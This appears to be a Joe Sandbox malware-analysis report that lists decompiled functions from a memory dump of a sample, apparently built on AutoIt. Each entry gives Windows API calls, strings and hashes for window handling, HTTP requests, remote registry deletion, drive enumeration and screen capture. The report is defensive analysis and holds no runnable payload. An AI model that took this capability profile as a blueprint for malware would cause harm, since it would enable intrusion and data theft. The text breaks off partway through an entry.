SetWindowTextW.USER32(00000000,?), ref: 00825A72
GetDlgItem.USER32(?,000003E9), ref: 00825A82
SetWindowTextW.USER32(00000000,?), ref: 00825A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00825AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00825AC3
GetWindowRect.USER32(?,?), ref: 00825ACC
_wcslen.LIBCMT ref: 00825B33
SetWindowTextW.USER32(?,?), ref: 00825B6F
GetDesktopWindow.USER32 ref: 00825B75
GetWindowRect.USER32(00000000), ref: 00825B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00825BD3
GetClientRect.USER32(?,?), ref: 00825BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00825C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00825C2F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 0a276f5aa06b136a5988a4c09130079ca6db8a0b7968c0e205bba207cf1288d1
Instruction ID: da2a4ff784b034964ab7b0e343dfb26438f3a42255afddad2daab6eb8c45038b
Opcode Fuzzy Hash: 0a276f5aa06b136a5988a4c09130079ca6db8a0b7968c0e205bba207cf1288d1
Instruction Fuzzy Hash: BB718C31900B19AFDB20DFA8DE89AAEBBF5FF48715F104918E542E25A0D774E984CF50

Function 0083FE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 0083FE27
LoadCursorW.USER32(00000000,00007F8A), ref: 0083FE32
LoadCursorW.USER32(00000000,00007F00), ref: 0083FE3D
LoadCursorW.USER32(00000000,00007F03), ref: 0083FE48
LoadCursorW.USER32(00000000,00007F8B), ref: 0083FE53
LoadCursorW.USER32(00000000,00007F01), ref: 0083FE5E
LoadCursorW.USER32(00000000,00007F81), ref: 0083FE69
LoadCursorW.USER32(00000000,00007F88), ref: 0083FE74
LoadCursorW.USER32(00000000,00007F80), ref: 0083FE7F
LoadCursorW.USER32(00000000,00007F86), ref: 0083FE8A
LoadCursorW.USER32(00000000,00007F83), ref: 0083FE95
LoadCursorW.USER32(00000000,00007F85), ref: 0083FEA0
LoadCursorW.USER32(00000000,00007F82), ref: 0083FEAB
LoadCursorW.USER32(00000000,00007F84), ref: 0083FEB6
LoadCursorW.USER32(00000000,00007F04), ref: 0083FEC1
LoadCursorW.USER32(00000000,00007F02), ref: 0083FECC
GetCursorInfo.USER32(?), ref: 0083FEDC
GetLastError.KERNEL32 ref: 0083FF1E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 8c493774697b64a1d58e55d56911f856a6e56d21e925c7315ffdea95bb446252
Instruction ID: dc1bcc2f93b7717b49cded5ffe1d956d44b911e7a89fbb330d073670b4fc9164
Opcode Fuzzy Hash: 8c493774697b64a1d58e55d56911f856a6e56d21e925c7315ffdea95bb446252
Instruction Fuzzy Hash: 284151B0D04319AADB109FBA8C89C5EBFE8FF44754B50452AE51DE7281DB78E901CE91

Function 007E00C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 007E00C6

Part of subcall function 007E00ED: InitializeCriticalSectionAndSpinCount.KERNEL32(0089070C,00000FA0,3947AD5E,?,?,?,?,008023B3,000000FF), ref: 007E011C
Part of subcall function 007E00ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,008023B3,000000FF), ref: 007E0127
Part of subcall function 007E00ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,008023B3,000000FF), ref: 007E0138
Part of subcall function 007E00ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 007E014E
Part of subcall function 007E00ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 007E015C
Part of subcall function 007E00ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 007E016A
Part of subcall function 007E00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 007E0195
Part of subcall function 007E00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 007E01A0

___scrt_fastfail.LIBCMT ref: 007E00E7

Part of subcall function 007E00A3: __onexit.LIBCMT ref: 007E00A9

Strings

kernel32.dll, xrefs: 007E0133
api-ms-win-core-synch-l1-2-0.dll, xrefs: 007E0122
SleepConditionVariableCS, xrefs: 007E0154
InitializeConditionVariable, xrefs: 007E0148
WakeAllConditionVariable, xrefs: 007E0162

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 2e302204897b988ef97af9656817004b8e3b123d28ad178768dee9b9dcbe99dd
Instruction ID: 5704595f4cea1ef2d04ecadd4c61e76f99e4a50c2358933773f4e1ee9e9e5739
Opcode Fuzzy Hash: 2e302204897b988ef97af9656817004b8e3b123d28ad178768dee9b9dcbe99dd
Instruction Fuzzy Hash: 4F21A732646754AFD7116BA5AC09B6E37B4FB09B62F14012AF911E6391DBBC98408ED0

Function 008230F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0082318D
_wcslen.LIBCMT ref: 008231F8

Strings

CLASS, xrefs: 00823188, 008231A5
CLASSNN, xrefs: 008231F3, 00823204
NAME, xrefs: 00823335, 00823346
INSTANCE, xrefs: 00823453
REGEXPCLASS, xrefs: 00823255, 00823266
TEXT, xrefs: 0082347C

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: 02ef06e8c079e2b8f2932daddd329d916d51f623c2b0075f1e7d9ea5d6c040ff
Instruction ID: d37f5b5df863e973662a72d95a5611262eb30f3f5741d805b2730c2a7fd05f8a
Opcode Fuzzy Hash: 02ef06e8c079e2b8f2932daddd329d916d51f623c2b0075f1e7d9ea5d6c040ff
Instruction Fuzzy Hash: 94E1E232A00626EBCB14EFA8D465AEDBBB4FF14714F54811AE556F3240DB38AFC58790

Function 008344C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0085CC08), ref: 00834527
_wcslen.LIBCMT ref: 0083453B
_wcslen.LIBCMT ref: 00834599
_wcslen.LIBCMT ref: 008345F4
_wcslen.LIBCMT ref: 0083463F
_wcslen.LIBCMT ref: 008346A7

Part of subcall function 007DF9F2: _wcslen.LIBCMT ref: 007DF9FD

GetDriveTypeW.KERNEL32(?,00886BF0,00000061), ref: 00834743

Strings

network, xrefs: 0083469D, 008346A2
ramdisk, xrefs: 008346F1
cdrom, xrefs: 0083458F, 00834594
all, xrefs: 00834531, 00834536
removable, xrefs: 008345EA, 008345EF
fixed, xrefs: 00834635, 0083463A
unknown, xrefs: 00834708

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 3484166220c0fa6df35975e944ed1725e60799aef3c072f8575c0494c138b9d2
Instruction ID: cf47882f041c04211554472462418021f935d3f08fa77f7029befdf8c78dc129
Opcode Fuzzy Hash: 3484166220c0fa6df35975e944ed1725e60799aef3c072f8575c0494c138b9d2
Instruction Fuzzy Hash: 85B110316083029FC710EF28C895A6AB7E5FFE5764F50591DF496C7292E734E844CBA2

Function 007C326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00891990), ref: 00802F8D
GetMenuItemCount.USER32(00891990), ref: 0080303D
GetCursorPos.USER32(?), ref: 00803081
SetForegroundWindow.USER32(00000000), ref: 0080308A
TrackPopupMenuEx.USER32(00891990,00000000,?,00000000,00000000,00000000), ref: 0080309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 008030A9

Strings

0, xrefs: 007C327D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 6f0fecc99857b84118fde05cacdd0f43702024d55f275859092f46ba7de17129
Instruction ID: 858fe4a1ab6d46897904f843d0255b8a38af4c403606ae0e591ec51fc73b42de
Opcode Fuzzy Hash: 6f0fecc99857b84118fde05cacdd0f43702024d55f275859092f46ba7de17129
Instruction Fuzzy Hash: A1713870640316BEEB218F68DC4DF9ABF68FF04364F20421AF915A61E0C7B5AD10CB50

Function 00856CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00856DEB

Part of subcall function 007C6B57: _wcslen.LIBCMT ref: 007C6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00856E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00856E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00856E94
DestroyWindow.USER32(?), ref: 00856EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,007C0000,00000000), ref: 00856EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00856EFD
GetDesktopWindow.USER32 ref: 00856F16
GetWindowRect.USER32(00000000), ref: 00856F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00856F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00856F4D

Part of subcall function 007D9944: GetWindowLongW.USER32(?,000000EB), ref: 007D9952

Strings

tooltips_class32, xrefs: 00856E58, 00856EDD
0, xrefs: 00856D98

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 633f95788dab64a658ff63a0fd8a6e3982aeaee4b81c52d4c47e79f9f2330755
Instruction ID: 234091d1ffdf65cfcecc9ad01ea8c6df89d5ab738ba6ea19db615baa92533b52
Opcode Fuzzy Hash: 633f95788dab64a658ff63a0fd8a6e3982aeaee4b81c52d4c47e79f9f2330755
Instruction Fuzzy Hash: 2F717870504345AFDB21DF18D848FAABBE9FB98306F94051EF989C7260DB74A91ACF11

Function 0085911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 007D9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 007D9BB2

DragQueryPoint.SHELL32(?,?), ref: 00859147

Part of subcall function 00857674: ClientToScreen.USER32(?,?), ref: 0085769A
Part of subcall function 00857674: GetWindowRect.USER32(?,?), ref: 00857710
Part of subcall function 00857674: PtInRect.USER32(?,?,00858B89), ref: 00857720

SendMessageW.USER32(?,000000B0,?,?), ref: 008591B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 008591BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 008591DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00859225
SendMessageW.USER32(?,000000B0,?,?), ref: 0085923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00859255
SendMessageW.USER32(?,000000B1,?,?), ref: 00859277
DragFinish.SHELL32(?), ref: 0085927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00859371

Strings

@GUI_DRAGFILE, xrefs: 00859320
@GUI_DROPID, xrefs: 0085929E
@GUI_DRAGID, xrefs: 008592E9

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: afabefc31699d937d1b77eb523e8dcf6c9747ad1183791a4da3c80a2f70b1478
Instruction ID: b9df979530ebeaa32944a4d3e3553421cc417edf425a0381945d297f1595e5ea
Opcode Fuzzy Hash: afabefc31699d937d1b77eb523e8dcf6c9747ad1183791a4da3c80a2f70b1478
Instruction Fuzzy Hash: 9F616C71108301AFC701EF64DC89EAFBBE9FF89751F40091EF695922A1DB349A49CB52

Function 0083C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0083C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0083C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0083C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0083C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0083C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0083C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0083C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0083C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0083C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0083C5F0
InternetCloseHandle.WININET(00000000), ref: 0083C5FB

Strings

, xrefs: 0083C575

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: b2e8e2b4826ad9d462f0fa6bce5c9480974e6fe27e27f174932ef5e4847f9763
Instruction ID: a86021cee42dfcff71bd508984dad9678aa1c3bbfd5620b8809d3aa25f86cb83
Opcode Fuzzy Hash: b2e8e2b4826ad9d462f0fa6bce5c9480974e6fe27e27f174932ef5e4847f9763
Instruction Fuzzy Hash: C15138B1500708BFDB219F64C988AAB7BBCFB88755F00451AF946E6610DB74E944DFA0

Function 0085856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00858592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 008585A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 008585AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 008585BA
GlobalLock.KERNEL32(00000000), ref: 008585C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 008585D7
GlobalUnlock.KERNEL32(00000000), ref: 008585E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 008585E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 008585F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,0085FC38,?), ref: 00858611
GlobalFree.KERNEL32(00000000), ref: 00858621
GetObjectW.GDI32(?,00000018,?), ref: 00858641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00858671
DeleteObject.GDI32(?), ref: 00858699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 008586AF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 28986443417416e9eb61899d6ad1fdd9aefc32d5aa9d0abe95a8d9f9b7d4f5fd
Instruction ID: 6372ee05ddc3f96681af8d8353cef5d8a9b0e7c0d4b095abf6c02dfeed293cff
Opcode Fuzzy Hash: 28986443417416e9eb61899d6ad1fdd9aefc32d5aa9d0abe95a8d9f9b7d4f5fd
Instruction Fuzzy Hash: 36410775600308EFDB119FA5CC48EAABBB8FF99B16F104059F90AE7260DB349945CF60

Function 008314BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00831502
VariantCopy.OLEAUT32(?,?), ref: 0083150B
VariantClear.OLEAUT32(?), ref: 00831517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 008315FB
VarR8FromDec.OLEAUT32(?,?), ref: 00831657
VariantInit.OLEAUT32(?), ref: 00831708
SysFreeString.OLEAUT32(?), ref: 0083178C
VariantClear.OLEAUT32(?), ref: 008317D8
VariantClear.OLEAUT32(?), ref: 008317E7
VariantInit.OLEAUT32(00000000), ref: 00831823

Strings

Default, xrefs: 008316AF
%4d%02d%02d%02d%02d%02d, xrefs: 00831625

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: d0a396c493f432c0f015781983699789c100eba6bb8a1cbf9205a6261cfc52bc
Instruction ID: 5683be3c03ffecb98681da6544804c34960198e479f667bb01ece32e6949bd75
Opcode Fuzzy Hash: d0a396c493f432c0f015781983699789c100eba6bb8a1cbf9205a6261cfc52bc
Instruction Fuzzy Hash: 2CD1B171A00219EBDF109F65D88DB79B7B5FF84B04F14845AE806EB280DB38EC45DBA1

Function 0084B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 0084C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0084B6AE,?,?), ref: 0084C9B5
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084C9F1
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084CA68
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0084B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0084B772
RegDeleteValueW.ADVAPI32(?,?), ref: 0084B80A
RegCloseKey.ADVAPI32(?), ref: 0084B87E
RegCloseKey.ADVAPI32(?), ref: 0084B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0084B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0084B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 0084B922
FreeLibrary.KERNEL32(00000000), ref: 0084B983
RegCloseKey.ADVAPI32(00000000), ref: 0084B994

Strings

RegDeleteKeyExW, xrefs: 0084B8FE
advapi32.dll, xrefs: 0084B8ED

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 6453ef7f7004ee4d0f858dbe0daa2827cf62d5ae30ed2c58a33d68b00d18b83a
Instruction ID: 0d022db7736114b4ca8787039d2c3ef67ee60df971509f30600908e32e9679ca
Opcode Fuzzy Hash: 6453ef7f7004ee4d0f858dbe0daa2827cf62d5ae30ed2c58a33d68b00d18b83a
Instruction Fuzzy Hash: 11C17B31208245EFD714DF24C499F2ABBE5FF84318F18855CE59A8B2A2CB35ED46CB91

Function 0084255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 008425D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 008425E8
CreateCompatibleDC.GDI32(?), ref: 008425F4
SelectObject.GDI32(00000000,?), ref: 00842601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 0084266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 008426AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 008426D0
SelectObject.GDI32(?,?), ref: 008426D8
DeleteObject.GDI32(?), ref: 008426E1
DeleteDC.GDI32(?), ref: 008426E8
ReleaseDC.USER32(00000000,?), ref: 008426F3

Strings

(, xrefs: 0084268D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
